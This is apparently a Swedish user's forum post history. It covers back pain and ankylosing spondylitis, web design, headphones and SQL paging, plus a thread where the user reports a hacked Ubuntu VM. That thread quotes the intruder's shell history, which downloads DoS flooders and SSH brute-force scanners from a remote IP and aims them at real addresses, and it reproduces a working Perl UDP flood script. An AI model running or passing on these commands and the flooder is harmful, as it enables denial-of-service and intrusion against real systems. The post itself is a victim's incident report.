Inlägg
Kanske kan vara dina ryggmärgsförträngningar som spökar? Bör gå att provocera fram om du har besvär så ofta. Aktiv inflammation i bröstkorgen som vid ankyloserande spondylit kan göra väldigt ont, men borde inte få dig att falla ihop (förstår det som att det inte är av smärta).
Angående risken för permanent skada är den liten om du inte har konstanta besvär. Förträngningar som riskerar ge permanent nervskada trycker nämligen på nerverna hela tiden, inte bara i enskilda lägen. Din AS kan ge ökad benbildning, och där är det viktigt att sköta sjukgymnastiken rigoröst (rörligheten brukar även följas via reumatologkliniken). Diskbråck och spinal stenos kan man inte arbeta så mycket med preventivt, utom rörlighetsträning och att neka sina vänner flytthjälp!
Tack för svaret igen
Ja precis, förr i tiden (innan Humira) hade jag periodvis ont i bröstkorgen, det har jag inte längre, har numera väldigt lite inflammation, förra provtagningen så hade jag en sänka på 3 & snabbsänka på runt 30 om jag minns rätt, eller om det var tvärt om, så inflammationen är ju väldigt låg just nu så den biten orsakar inga besvär just nu så ja, bör ju vara någon slags förträngning. Det gör väldigt ont då jag faller ihop, men är inte av smärtan som jag faller ihop (som jag känner det iaf), för ett par år sedan när jag blev liggandes & inte kunde ta mig upp så fick jag en morfinspruta av ambulanspersonalen som skrapade upp mig från backen, väl uppe på benen så var jag ju 100% smärtfri tack vare morfinet MEN ändå så föll jag ihop när jag försökte gå igen, denna gången helt smärtfri, det kändes lite märkligt för jag bara gick normalt sen föll jag ihop i fritt fall utan att kroppen ens gjorde ett försök att "hålla emot", så både med & utan smärta så är det något som "stänger av" kroppen.
Japp, jag gör så gott jag kan när det gäller sjukgymnastiken men det är svårt att få någon form av regelbundhet (inte ens ett ord men) i träningen då oavsett hur lite jag rör mig så ökar dessa "avstängingshugg", är jag sängliggandes hela dagen & bara går det absolut minsta möjliga, tex till toan & tillbaka till sängen direkt & köket sen tillbaka i sängen så får jag inga hugg alls under dagen, men tex cykla 200 meter till ICA, gå 100 meter i butiken, sen cykla hem igen så får jag dessa hugg i ryggen kanske var 10-20:e steg eller böjning med ryggen jag gör under flera timmar framåt, så det krävs ganska lite för att "trigga" det.
Iaf, jag känner att jag behöver mer hjälp än det jag fått av min allmänläkare, så, vilken typ av läkare skall man be om att få träffa & se om denna skulle kunna hjälpa mig lite mer än en allmänläkare?
I teorin ja, men i praktiken nej. Diskbråck som är asymtomatiska i liggande ses, liksom oftast diskbuktningar. Så mjuka diskar skulle dessutom ge följdskador i form av förkalkningar som kunde ses.
Ok gött, tack för svaret
Följdfråga wall of text för den som orkar
Detta är lite störande, för 5-6 år sedan så gjorde jag en MR för att jag hade haft sjukt ont i ryggen i 2 år, man hittade då intraspongiösa diskherneringar, smal spinalkanal, liten durasäck & lite andra defekter, 2 år senare röntgen av SI led som givetvis var inflammerade (AS), iaf, har tagit Humira för min AS i 1 år nu & den är grym, kan gå upp ur sängen direkt på morgonen numera, har i princip ingen molande värk eller något MEN i flera år har jag regelbundet fått "strålsmärtor"/hugg eller vafan man skall kalla det, det känns ungefär som när man slår armbågen i bordskanten (är det en nerv man träffar då tro), fast 100ggr värre, denna strålsmärtan "utsöndras" från ryggen & blockerar alla rörelsesignaler från utstrålningspunken, så tex när jag går så går jag relativt normalt, lite haltande, men med jämna mellanrum så får jag dessa hugg vilket då gör att jag faller ihop, blir i princip tillfälligt förlamad från punkten & neråt, ibland faller jag ända ner till backen & ibland bara några centimeter innan musklerna blir återkopplade. Jag har sagt detta till min läkare säkert 30ggr dom senaste 4 åren men han har alltid vägrat med någon bullshit anledning (har kontaktat chefen för vårdcentralen också men hon vidarebefodrar bara mina kommentarer till samma läkare, varpå denne återigen såklart säger samma sak som alltid), dessa hugg kommer flera gånger om dagen så det är ganska störande.
Så, ja, sjukt irriterande att en allmänläkare "blockerar" fortsatt utredning, hade varit gott med en röntgen till nu 5-6 år sedan för att se hur defekterna har fortskridit, min AS gick obehandlad i flera år så vem vet, kan ju ha hunnits förkalkats endel så det trycker & klämmer på nerverna.
Jag vill ju få en utredning så man vet ifall det finns något som dom skall göra innan ryggen går bortom all räddning & försämrar mitt liv permanent utan förbättringsmöjligheter, detta skulle man ju gjort för flera år sedan men nu har jag sjuk panik/ångest att det kanske redan är för sent & gett alldeles för permanent skada.
Så vafan skall man göra när både läkare och chefen för läkarna vägrar lyssna på det man säger?
Har undrat lite om röntgars orientation, dom allra flesta så är patienten i liggande läge.
MEN, låt säga att patienten har en sjukdom som gör att diskarna i ryggen är mjukare än normalt, kanske 50% av normala diskar som gör att vid stående & sittande så klämmer kotorna mjukdelarna runt skelettet, tex klämmer en nerv som går från ryggraden & utåt, eller närliggande muskel, patienten nämner då för läkare att den upplever en klämkänsla i ryggen & får remiss till röntgen.
Vid liggande läge så kanske inte patientens diskar kläms ihop utan vid liggande kanske diskarna ser fullt normala ut trots att dom är alldeles för mjuka.
Detta är en patient men skulle detta, eller andra scenarion/åkommor kunna missas av röntgen tack vare att patienten röntgas i liggande läge istället för stående?
Ja, SketchUp är ju riktigt smidigt.
Sen finns ju http://www.homestyler.com/designer också, riktigt smidigt det med, innehåller en hel del möbler & annat skräp, kanske inte just dom du har eller skall köpa men ja, tillräckligt mycket för att kunna få en uppskattning om hur rummet kommer att se ut efter inredning osv osv osv osv
Google Cardboard Plastic
https://www.youtube.com/watch?v=VkOuShXpoKc&ab_channel=Google
https://www.google.com/get/cardboard/plastic/
Google Express (eller ja, ni förstår)
https://www.youtube.com/watch?v=F0F6SnbqUcE&ab_channel=Google
Ni är ett gäng märkliga (och fega) människor..varför kan man inte ha en bild å sig själv? Vad är problemet?
Skärp dig, patetiskt att du klagar på andra samtidigt som du är lika anonym som dom du klagar på
Skön bakgrund, har du länk?
Jag tycker om första, men mycket på nätet går mot den sista känns det som.
Tack för svaret. Ja jag gillar första också, men dom andra är ju lättare att implementera, eller ja, nr 2 & 3 är ganska lättare att få responsiva (eller snarare mer enhetligt utseendemässigt & funktionsmässigt på dom flesta upplösningarna), speciellt nr 3 & nu när fler & fler besöker hemsidor på deras mobila enheter så ja, nr 1 är ju skönast för folk som har hög upplösning men funkar skitdåligt på tex telefoner. Nr 1 ändrar ju layout & funktionalitet HELT mellan säg en 1440p skärm & en mobilskärm.
Så svårt val detta
Elgiganten, åtminstonde i Borås, hade 20% rabatt på Philips Fidelio X2 så jag kunde inte hålla fingrarna i styr, strax under 1600kr, är ju inte mycket att fundera över
http://jespera.se/media/large1280/2016/03/1459097698_5826_1.jpg
Har inte "vågat" kolla om mitt par är Gibson eller Woox, kanske inte finns några Woox kvar i hyllorna längre, men mitt par låter riktigt bra, var ju lite väl mycket oro för ett tag sedan, men äh, så jag fick ett bra par lurar iaf
Ok, har inte arbetat något på forumet alls sen senast, har dock suttit & funderat på lite andra lösning, så nu är jag uppe i 3 olika möjligheter när det gäller forumet, eller ja, 4st är det ju om man räknar med det traditionella forumet.
1) Ja, det är ju det som jag skrev om i första inlägget.
2) Egentligen inte jätteavlägset #1..........................................................äh, svårt att beskriva, jag gjorde en videosnutt istället
Varning: Min röst är vidrig & jag hatar vara med på "film"/video, bland det värsta jag vet, så låter för jävligt.
Men vore kul att höra feedback från er som åtminstone är en gnutta intresserad av ett nytt/annat typ av forum.
Kritisera gärna, jag kanske är lite för insnöad i detta just nu, behövs forum ens förbättras, funkar kanske redan tillräckligt bra för dom flesta så detta projektet kanske är meningslöst men jag kan ändå inte riktigt släppa att det går att förbättra/snabba upp navigeringen av forum, jag är lite allergisk mot att behöva hoppa fram & tillbaka bland trådar hela tiden.
Här här filmen, ni har blivit varnade
Edit Förstora gärna YouTube videon, blev visst rätt svårt att se när filmen är inklämd i Swec
Designen behövs det inte så mycket kritik på egentligen, det kan jag ta senare om projektet blir av, utan vill mest ha feedback/kritik på själva konceptet/ufromningen/funktionaliteten osv.
Intresset har ju varit relativt svalt i denna tråden hittills men vore tacksam om ni hade lust att ge lite feedback, kommentarer, tankar osv.
Tack tack
Vad hände med PA329Q?
Japp, jag har varit sugen på att skaffa PA329Q ända sedan den visades upp snart för 1 år sedan, ryktena sa att den skulle börja säljas runt hösten 2015 men nepp, det verkar inte så, vill inte köpa PA328Q då PA239Q hade uppdateras ganska rejält.
Så Asus, vad hände med skärmen? Gav ni upp?
Absolut märkligaste pagineringen jag sett i hela mitt liv, hela konceptet är fel, speciellt att köra en subquery endast för att få fram raderna OCH sen köra en "between" på resultatet.
Gör bara en vanlig query med LIMIT & offset
http://www.w3schools.com/php/php_mysql_select_limit.asp
Använd $rowsPerPage på samma sätt du gjort nu fast i LIMIT sektionen istället
Något borde väl ha varit uppe om de har kunnat komma åt den utifrån.
De verkar ha försökt använda din VM till att scanna och hacka andra datorer. Finns nog en viss risk att din ISP kan få lite mindre roliga meddelanden från ägarna av dessa.
Den enda gången den KAN ha varit öppen är när jag tog med mig VM:en upp till stugan i några dagar som precis har fått fiber, där, av någon anledning har ISP:en vägrat ge oss tillgång till routerns inställningar så har ingen aning om hur "öppen" routern är där
Ubuntu VM hackad, men...
...dom verkar inte gjort något roligt ändå?
Hade somnat ifrån TV serierna jag kollade på igårkväll, vaknade upp strax efter midnatt då serierna laggade så fruktansvärt, streamade via min NAS, brukar ha rätt dålig WIFI på just den datorn jag kollade ifrån så tänkte inte det var något märkligt. Testade nätverket, var sjukt långsamt, testade internet, var nästan helt blockat, men brydde mig återigen inte så mycket för mitt internet brukar vara instabilt också
MEN nu i morse när jag vaknade igen så såg jag att en av mina Ubuntu VM:s såg ut såhär:
http://f.cl.ly/items/0D2t1g430x3B0O1A1W0J/lel.png
Blev lite orolig, testade mina 3 andra Ubuntu VM:s men det var bara min minst "värdefulla" VM som blivit hackad & ingen annan dator i mitt närverk var attackerad, vid första anblick.
Här är hela terminal loggen (varning: spoiler taggarna kan innehålla lång text):
274 cat /proc/cpuinfo
275 passwd
276 sudo su
277 wget http://112.196.51.235/test.py
278 ls
279 chmod +x *
280 ./test.py
281 python test.py
282 wget http://112.196.51.235/enzo
283 ls
284 perl enzo
285 clear
286 perl enzo 93.113.169.222 53 0
287 rm -f enzo
288 clear
289 ls
290 ifconfig
291 wget http://112.196.51.235/gosh.tar.gz
292 wget http://112.196.51.235/gosh.tgz
293 tar -zxvf gosh.tgz
294 cd gosh
295 touch bios.txt
296 chmod +x *
297 screen ./go.sh 37
298 sudo apt-get install screen
299 ./go.sh 37
300 cd
301 clear
302 exit
303 cat /proc/cpuinfo
304 wget http://112.196.51.235/udp.pl
305 clear
306 perl udp.pl 93.113.169.222 80 999 999
307 rm -f udp.pl
308 cd Deskop
309 ls
310 cd Deskop
311 cd /Desktop
312 cd Desktop
313 bash
314 cd bash
315 clear
316 wget http://112.196.51.235/bash/a
317 wget http://112.196.51.235/bash/a2
318 wget http://112.196.51.235/bashmass
319 wget http://112.196.51.235/bash/mass
320 wget http://112.196.51.235/bash/mass2
321 wget http://112.196.51.235/bash/passfile
322 wget http://112.196.51.235/bash/pscan
323 wget http://112.196.51.235/bash/pscan2
324 wget http://112.196.51.235/bash/scanssh
325 wget http://112.196.51.235/bash/trueusers.txt
326 clear
327 nano trueusers.txt
328 clear
329 chmod +x *
330 ./a2 64.64
331 sudo apt-get install openssh-server openssh-client
332 apt-cache search openssh
333 sudo apt-get install openssh-server
334 clear
335 ifconfig
336 wget http://112.196.51.235/bssh2/mass
337 cd bssh2
338 cd Desktop
339 cd bssh2
340 wget http://112.196.51.235/bssh2/mass
341 wget http://112.196.51.235/bssh2/pass.txt
342 wget http://112.196.51.235/bssh2/scan_user
343 wget http://112.196.51.235/bssh2/scan_root
344 wget http://112.196.51.235/bssh2/screen
345 wget http://112.196.51.235/bssh2/sss
346 wget http://112.196.51.235/bssh2/ss
347 wget http://112.196.51.235/bssh2/ssh2
348 chmod +x *
349 ./scan_user 93.114
350 ./scan_root 93.114
351 clear
352 cat /proc/cpuinfo
353 exit
354 ls
355 cat -proc-cpuinfo
356 nmap
357 history
358 screen +
359 screen +r
360 cat /proc/cpuinfo
361 ps aux
362 killall -9 perl
363 cd ++
364 cd ..
365 sudo +s
366 history +s
367 history /s
368 history -
369 history -s
370 exit
371 redis-cli MONITOR
372 sudo adduser test
373 cat /proc/cpuinfo
374 free -mt
375 clear
376 cat /proc/cpuinfo
377 clear
378 ls
379 perl test/py
380 perl test.py
381 clear
382 wget arhive112.tk/msq
383 clear
384 ls
385 nano msq
386 clear
387 ls
388 cd gosh
389 clear
390 ls
391 chmod +x *
392 ./go.sh 45
393 clear
394 cd ]
395 cd
396 clear
397 ifcofnig
398 ifconfig
399 clear
400 w
401 ls
402 perl msq 78.97.61.122
Perl MSG
#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "[0;36m [Attack Started]====>> [#RooT] \n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=(rand 65500) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
Test.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2012-2015 Matt Martz
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import re
import sys
import math
import signal
import socket
import timeit
import platform
import threading
__version__ = '0.3.4'
# Some global variables we use
user_agent = None
source = None
shutdown_event = None
scheme = 'http'
# Used for bound_interface
socket_socket = socket.socket
try:
import xml.etree.cElementTree as ET
except ImportError:
try:
import xml.etree.ElementTree as ET
except ImportError:
from xml.dom import minidom as DOM
ET = None
# Begin import game to handle Python 2 and Python 3
try:
from urllib2 import urlopen, Request, HTTPError, URLError
except ImportError:
from urllib.request import urlopen, Request, HTTPError, URLError
try:
from httplib import HTTPConnection, HTTPSConnection
except ImportError:
e_http_py2 = sys.exc_info()
try:
from http.client import HTTPConnection, HTTPSConnection
except ImportError:
e_http_py3 = sys.exc_info()
raise SystemExit('Your python installation is missing required HTTP '
'client classes:\n\n'
'Python 2: %s\n'
'Python 3: %s' % (e_http_py2[1], e_http_py3[1]))
try:
from Queue import Queue
except ImportError:
from queue import Queue
try:
from urlparse import urlparse
except ImportError:
from urllib.parse import urlparse
try:
from urlparse import parse_qs
except ImportError:
try:
from urllib.parse import parse_qs
except ImportError:
from cgi import parse_qs
try:
from hashlib import md5
except ImportError:
from md5 import md5
try:
from argparse import ArgumentParser as ArgParser
except ImportError:
from optparse import OptionParser as ArgParser
try:
import builtins
except ImportError:
def print_(*args, **kwargs):
"""The new-style print function taken from
https://pypi.python.org/pypi/six/
"""
fp = kwargs.pop("file", sys.stdout)
if fp is None:
return
def write(data):
if not isinstance(data, basestring):
data = str(data)
fp.write(data)
want_unicode = False
sep = kwargs.pop("sep", None)
if sep is not None:
if isinstance(sep, unicode):
want_unicode = True
elif not isinstance(sep, str):
raise TypeError("sep must be None or a string")
end = kwargs.pop("end", None)
if end is not None:
if isinstance(end, unicode):
want_unicode = True
elif not isinstance(end, str):
raise TypeError("end must be None or a string")
if kwargs:
raise TypeError("invalid keyword arguments to print()")
if not want_unicode:
for arg in args:
if isinstance(arg, unicode):
want_unicode = True
break
if want_unicode:
newline = unicode("\n")
space = unicode(" ")
else:
newline = "\n"
space = " "
if sep is None:
sep = space
if end is None:
end = newline
for i, arg in enumerate(args):
if i:
write(sep)
write(arg)
write(end)
else:
print_ = getattr(builtins, 'print')
del builtins
class SpeedtestCliServerListError(Exception):
"""Internal Exception class used to indicate to move on to the next
URL for retrieving speedtest.net server details
"""
def bound_socket(*args, **kwargs):
"""Bind socket to a specified source IP address"""
global source
sock = socket_socket(*args, **kwargs)
sock.bind((source, 0))
return sock
def distance(origin, destination):
"""Determine distance between 2 sets of [lat,lon] in km"""
lat1, lon1 = origin
lat2, lon2 = destination
radius = 6371 # km
dlat = math.radians(lat2 - lat1)
dlon = math.radians(lon2 - lon1)
a = (math.sin(dlat / 2) * math.sin(dlat / 2) +
math.cos(math.radians(lat1)) *
math.cos(math.radians(lat2)) * math.sin(dlon / 2) *
math.sin(dlon / 2))
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
d = radius * c
return d
def build_user_agent():
"""Build a Mozilla/5.0 compatible User-Agent string"""
global user_agent
if user_agent:
return user_agent
ua_tuple = (
'Mozilla/5.0',
'(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
'Python/%s' % platform.python_version(),
'(KHTML, like Gecko)',
'speedtest-cli/%s' % __version__
)
user_agent = ' '.join(ua_tuple)
return user_agent
def build_request(url, data=None, headers={}):
"""Build a urllib2 request object
This function automatically adds a User-Agent header to all requests
"""
if url[0] == ':':
schemed_url = '%s%s' % (scheme, url)
else:
schemed_url = url
headers['User-Agent'] = user_agent
return Request(schemed_url, data=data, headers=headers)
def catch_request(request):
"""Helper function to catch common exceptions encountered when
establishing a connection with a HTTP/HTTPS request
"""
try:
uh = urlopen(request)
return uh, False
except (HTTPError, URLError, socket.error):
e = sys.exc_info()[1]
return None, e
class FileGetter(threading.Thread):
"""Thread class for retrieving a URL"""
def __init__(self, url, start):
self.url = url
self.result = None
self.starttime = start
threading.Thread.__init__(self)
def run(self):
self.result = [0]
try:
if (timeit.default_timer() - self.starttime) <= 10:
request = build_request(self.url)
f = urlopen(request)
while 1 and not shutdown_event.isSet():
self.result.append(len(f.read(10240)))
if self.result[-1] == 0:
break
f.close()
except IOError:
pass
def downloadSpeed(files, quiet=False):
"""Function to launch FileGetter threads and calculate download speeds"""
start = timeit.default_timer()
def producer(q, files):
for file in files:
thread = FileGetter(file, start)
thread.start()
q.put(thread, True)
if not quiet and not shutdown_event.isSet():
sys.stdout.write('.')
sys.stdout.flush()
finished = []
def consumer(q, total_files):
while len(finished) < total_files:
thread = q.get(True)
while thread.isAlive():
thread.join(timeout=0.1)
finished.append(sum(thread.result))
del thread
q = Queue(6)
prod_thread = threading.Thread(target=producer, args=(q, files))
cons_thread = threading.Thread(target=consumer, args=(q, len(files)))
start = timeit.default_timer()
prod_thread.start()
cons_thread.start()
while prod_thread.isAlive():
prod_thread.join(timeout=0.1)
while cons_thread.isAlive():
cons_thread.join(timeout=0.1)
return (sum(finished) / (timeit.default_timer() - start))
class FilePutter(threading.Thread):
"""Thread class for putting a URL"""
def __init__(self, url, start, size):
self.url = url
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
data = chars * (int(round(int(size) / 36.0)))
self.data = ('content1=%s' % data[0:int(size) - 9]).encode()
del data
self.result = None
self.starttime = start
threading.Thread.__init__(self)
def run(self):
try:
if ((timeit.default_timer() - self.starttime) <= 10 and
not shutdown_event.isSet()):
request = build_request(self.url, data=self.data)
f = urlopen(request)
f.read(11)
f.close()
self.result = len(self.data)
else:
self.result = 0
except IOError:
self.result = 0
def uploadSpeed(url, sizes, quiet=False):
"""Function to launch FilePutter threads and calculate upload speeds"""
start = timeit.default_timer()
def producer(q, sizes):
for size in sizes:
thread = FilePutter(url, start, size)
thread.start()
q.put(thread, True)
if not quiet and not shutdown_event.isSet():
sys.stdout.write('.')
sys.stdout.flush()
finished = []
def consumer(q, total_sizes):
while len(finished) < total_sizes:
thread = q.get(True)
while thread.isAlive():
thread.join(timeout=0.1)
finished.append(thread.result)
del thread
q = Queue(6)
prod_thread = threading.Thread(target=producer, args=(q, sizes))
cons_thread = threading.Thread(target=consumer, args=(q, len(sizes)))
start = timeit.default_timer()
prod_thread.start()
cons_thread.start()
while prod_thread.isAlive():
prod_thread.join(timeout=0.1)
while cons_thread.isAlive():
cons_thread.join(timeout=0.1)
return (sum(finished) / (timeit.default_timer() - start))
def getAttributesByTagName(dom, tagName):
"""Retrieve an attribute from an XML document and return it in a
consistent format
Only used with xml.dom.minidom, which is likely only to be used
with python versions older than 2.5
"""
elem = dom.getElementsByTagName(tagName)[0]
return dict(list(elem.attributes.items()))
def getConfig():
"""Download the speedtest.net configuration and return only the data
we are interested in
"""
request = build_request('://www.speedtest.net/speedtest-config.php')
uh, e = catch_request(request)
if e:
print_('Could not retrieve speedtest.net configuration: %s' % e)
sys.exit(1)
configxml = []
while 1:
configxml.append(uh.read(10240))
if len(configxml[-1]) == 0:
break
if int(uh.code) != 200:
return None
uh.close()
try:
try:
root = ET.fromstring(''.encode().join(configxml))
config = {
'client': root.find('client').attrib,
'times': root.find('times').attrib,
'download': root.find('download').attrib,
'upload': root.find('upload').attrib}
except AttributeError: # Python3 branch
root = DOM.parseString(''.join(configxml))
config = {
'client': getAttributesByTagName(root, 'client'),
'times': getAttributesByTagName(root, 'times'),
'download': getAttributesByTagName(root, 'download'),
'upload': getAttributesByTagName(root, 'upload')}
except SyntaxError:
print_('Failed to parse speedtest.net configuration')
sys.exit(1)
del root
del configxml
return config
def closestServers(client, all=False):
"""Determine the 5 closest speedtest.net servers based on geographic
distance
"""
urls = [
'://www.speedtest.net/speedtest-servers-static.php',
'://c.speedtest.net/speedtest-servers-static.php',
'://www.speedtest.net/speedtest-servers.php',
'://c.speedtest.net/speedtest-servers.php',
]
errors = []
servers = {}
for url in urls:
try:
request = build_request(url)
uh, e = catch_request(request)
if e:
errors.append('%s' % e)
raise SpeedtestCliServerListError
serversxml = []
while 1:
serversxml.append(uh.read(10240))
if len(serversxml[-1]) == 0:
break
if int(uh.code) != 200:
uh.close()
raise SpeedtestCliServerListError
uh.close()
try:
try:
root = ET.fromstring(''.encode().join(serversxml))
elements = root.getiterator('server')
except AttributeError: # Python3 branch
root = DOM.parseString(''.join(serversxml))
elements = root.getElementsByTagName('server')
except SyntaxError:
raise SpeedtestCliServerListError
for server in elements:
try:
attrib = server.attrib
except AttributeError:
attrib = dict(list(server.attributes.items()))
d = distance([float(client['lat']),
float(client['lon'])],
[float(attrib.get('lat')),
float(attrib.get('lon'))])
attrib['d'] = d
if d not in servers:
servers[d] = [attrib]
else:
servers[d].append(attrib)
del root
del serversxml
del elements
except SpeedtestCliServerListError:
continue
# We were able to fetch and parse the list of speedtest.net servers
if servers:
break
if not servers:
print_('Failed to retrieve list of speedtest.net servers:\n\n %s' %
'\n'.join(errors))
sys.exit(1)
closest = []
for d in sorted(servers.keys()):
for s in servers[d]:
closest.append(s)
if len(closest) == 5 and not all:
break
else:
continue
break
del servers
return closest
def getBestServer(servers):
"""Perform a speedtest.net latency request to determine which
speedtest.net server has the lowest latency
"""
results = {}
for server in servers:
cum = []
url = '%s/latency.txt' % os.path.dirname(server['url'])
urlparts = urlparse(url)
for i in range(0, 3):
try:
if urlparts[0] == 'https':
h = HTTPSConnection(urlparts[1])
else:
h = HTTPConnection(urlparts[1])
headers = {'User-Agent': user_agent}
start = timeit.default_timer()
h.request("GET", urlparts[2], headers=headers)
r = h.getresponse()
total = (timeit.default_timer() - start)
except (HTTPError, URLError, socket.error):
cum.append(3600)
continue
text = r.read(9)
if int(r.status) == 200 and text == 'test=test'.encode():
cum.append(total)
else:
cum.append(3600)
h.close()
avg = round((sum(cum) / 6) * 1000, 3)
results[avg] = server
fastest = sorted(results.keys())[0]
best = results[fastest]
best['latency'] = fastest
return best
def ctrl_c(signum, frame):
"""Catch Ctrl-C key sequence and set a shutdown_event for our threaded
operations
"""
global shutdown_event
shutdown_event.set()
raise SystemExit('\nCancelling...')
def version():
"""Print the version"""
raise SystemExit(__version__)
def speedtest():
"""Run the full speedtest.net test"""
global shutdown_event, source, scheme
shutdown_event = threading.Event()
signal.signal(signal.SIGINT, ctrl_c)
description = (
'Command line interface for testing internet bandwidth using '
'speedtest.net.\n'
'------------------------------------------------------------'
'--------------\n'
'https://github.com/sivel/speedtest-cli')
parser = ArgParser(description=description)
# Give optparse.OptionParser an `add_argument` method for
# compatibility with argparse.ArgumentParser
try:
parser.add_argument = parser.add_option
except AttributeError:
pass
parser.add_argument('--bytes', dest='units', action='store_const',
const=('byte', 1), default=('bit', 8),
help='Display values in bytes instead of bits. Does '
'not affect the image generated by --share')
parser.add_argument('--share', action='store_true',
help='Generate and provide a URL to the speedtest.net '
'share results image')
parser.add_argument('--simple', action='store_true',
help='Suppress verbose output, only show basic '
'information')
parser.add_argument('--list', action='store_true',
help='Display a list of speedtest.net servers '
'sorted by distance')
parser.add_argument('--server', help='Specify a server ID to test against')
parser.add_argument('--mini', help='URL of the Speedtest Mini server')
parser.add_argument('--source', help='Source IP address to bind to')
parser.add_argument('--timeout', default=10, type=int,
help='HTTP timeout in seconds. Default 10')
parser.add_argument('--secure', action='store_true',
help='Use HTTPS instead of HTTP when communicating '
'with speedtest.net operated servers')
parser.add_argument('--version', action='store_true',
help='Show the version number and exit')
options = parser.parse_args()
if isinstance(options, tuple):
args = options[0]
else:
args = options
del options
# Print the version and exit
if args.version:
version()
socket.setdefaulttimeout(args.timeout)
# Pre-cache the user agent string
build_user_agent()
# If specified bind to a specific IP address
if args.source:
source = args.source
socket.socket = bound_socket
if args.secure:
scheme = 'https'
if not args.simple:
print_('Retrieving speedtest.net configuration...')
try:
config = getConfig()
except URLError:
print_('Cannot retrieve speedtest configuration')
sys.exit(1)
if not args.simple:
print_('Retrieving speedtest.net server list...')
if args.list or args.server:
servers = closestServers(config['client'], True)
if args.list:
serverList = []
for server in servers:
line = ('%(id)4s) %(sponsor)s (%(name)s, %(country)s) '
'[%(d)0.2f km]' % server)
serverList.append(line)
print_('\n'.join(serverList).encode('utf-8', 'ignore'))
sys.exit(0)
else:
servers = closestServers(config['client'])
if not args.simple:
print_('Testing from %(isp)s (%(ip)s)...' % config['client'])
if args.server:
try:
best = getBestServer(filter(lambda x: x['id'] == args.server,
servers))
except IndexError:
print_('Invalid server ID')
sys.exit(1)
elif args.mini:
name, ext = os.path.splitext(args.mini)
if ext:
url = os.path.dirname(args.mini)
else:
url = args.mini
urlparts = urlparse(url)
try:
request = build_request(args.mini)
f = urlopen(request)
except:
print_('Invalid Speedtest Mini URL')
sys.exit(1)
else:
text = f.read()
f.close()
extension = re.findall('upload_extension: "([^"]+)"', text.decode())
if not extension:
for ext in ['php', 'asp', 'aspx', 'jsp']:
try:
request = build_request('%s/speedtest/upload.%s' %
(args.mini, ext))
f = urlopen(request)
except:
pass
else:
data = f.read().strip()
if (f.code == 200 and
len(data.splitlines()) == 1 and
re.match('size=[0-9]', data)):
extension = [ext]
break
if not urlparts or not extension:
print_('Please provide the full URL of your Speedtest Mini server')
sys.exit(1)
servers = [{
'sponsor': 'Speedtest Mini',
'name': urlparts[1],
'd': 0,
'url': '%s/speedtest/upload.%s' % (url.rstrip('/'), extension[0]),
'latency': 0,
'id': 0
}]
try:
best = getBestServer(servers)
except:
best = servers[0]
else:
if not args.simple:
print_('Selecting best server based on latency...')
best = getBestServer(servers)
if not args.simple:
print_(('Hosted by %(sponsor)s (%(name)s) [%(d)0.2f km]: '
'%(latency)s ms' % best).encode('utf-8', 'ignore'))
else:
print_('Ping: %(latency)s ms' % best)
sizes = [350, 500, 750, 1000, 1500, 2000, 2500, 3000, 3500, 4000]
urls = []
for size in sizes:
for i in range(0, 4):
urls.append('%s/random%sx%s.jpg' %
(os.path.dirname(best['url']), size, size))
if not args.simple:
print_('Testing download speed', end='')
dlspeed = downloadSpeed(urls, args.simple)
if not args.simple:
print_()
print_('Download: %0.2f M%s/s' %
((dlspeed / 1000 / 1000) * args.units[1], args.units[0]))
sizesizes = [int(.25 * 1000 * 1000), int(.5 * 1000 * 1000)]
sizes = []
for size in sizesizes:
for i in range(0, 25):
sizes.append(size)
if not args.simple:
print_('Testing upload speed', end='')
ulspeed = uploadSpeed(best['url'], sizes, args.simple)
if not args.simple:
print_()
print_('Upload: %0.2f M%s/s' %
((ulspeed / 1000 / 1000) * args.units[1], args.units[0]))
if args.share and args.mini:
print_('Cannot generate a speedtest.net share results image while '
'testing against a Speedtest Mini server')
elif args.share:
dlspeedk = int(round((dlspeed / 1000) * 8, 0))
ping = int(round(best['latency'], 0))
ulspeedk = int(round((ulspeed / 1000) * 8, 0))
# Build the request to send results back to speedtest.net
# We use a list instead of a dict because the API expects parameters
# in a certain order
apiData = [
'download=%s' % dlspeedk,
'ping=%s' % ping,
'upload=%s' % ulspeedk,
'promo=',
'startmode=%s' % 'pingselect',
'recommendedserverid=%s' % best['id'],
'accuracy=%s' % 1,
'serverid=%s' % best['id'],
'hash=%s' % md5(('%s-%s-%s-%s' %
(ping, ulspeedk, dlspeedk, '297aae72'))
.encode()).hexdigest()]
headers = {'Referer': 'http://c.speedtest.net/flash/speedtest.swf'}
request = build_request('://www.speedtest.net/api/api.php',
data='&'.join(apiData).encode(),
headers=headers)
f, e = catch_request(request)
if e:
print_('Could not submit results to speedtest.net: %s' % e)
sys.exit(1)
response = f.read()
code = f.code
f.close()
if int(code) != 200:
print_('Could not submit results to speedtest.net')
sys.exit(1)
qsargs = parse_qs(response.decode())
resultid = qsargs.get('resultid')
if not resultid or len(resultid) != 1:
print_('Could not submit results to speedtest.net')
sys.exit(1)
print_('Share results: %s://www.speedtest.net/result/%s.png' %
(scheme, resultid[0]))
def main():
try:
speedtest()
